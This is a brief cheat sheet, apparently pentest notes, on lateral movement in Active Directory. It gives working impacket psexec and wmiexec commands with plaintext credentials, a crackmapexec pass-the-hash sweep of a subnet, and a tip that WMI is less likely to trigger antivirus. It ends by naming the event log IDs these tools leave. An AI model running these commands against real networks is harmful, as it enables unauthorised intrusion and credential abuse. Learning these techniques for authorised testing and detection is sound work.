Lateral Movement in AD Networks

Lateral movement means pivoting from one compromised machine to another inside the network.

PsExec

Classic remote execution tool.

impacket-psexec corp.local/admin:pass@10.10.10.2 cmd.exe

WMI Exec

Quieter alternative to PsExec, less likely to trigger AV.

impacket-wmiexec corp.local/admin:pass@10.10.10.2

SMB / Pass-the-Hash

# No plaintext password needed — NTLM hash is enough
crackmapexec smb 10.10.10.0/24 -u admin -H NTLM_HASH

Note: These tools leave traces in Windows Event Logs (4624, 4648).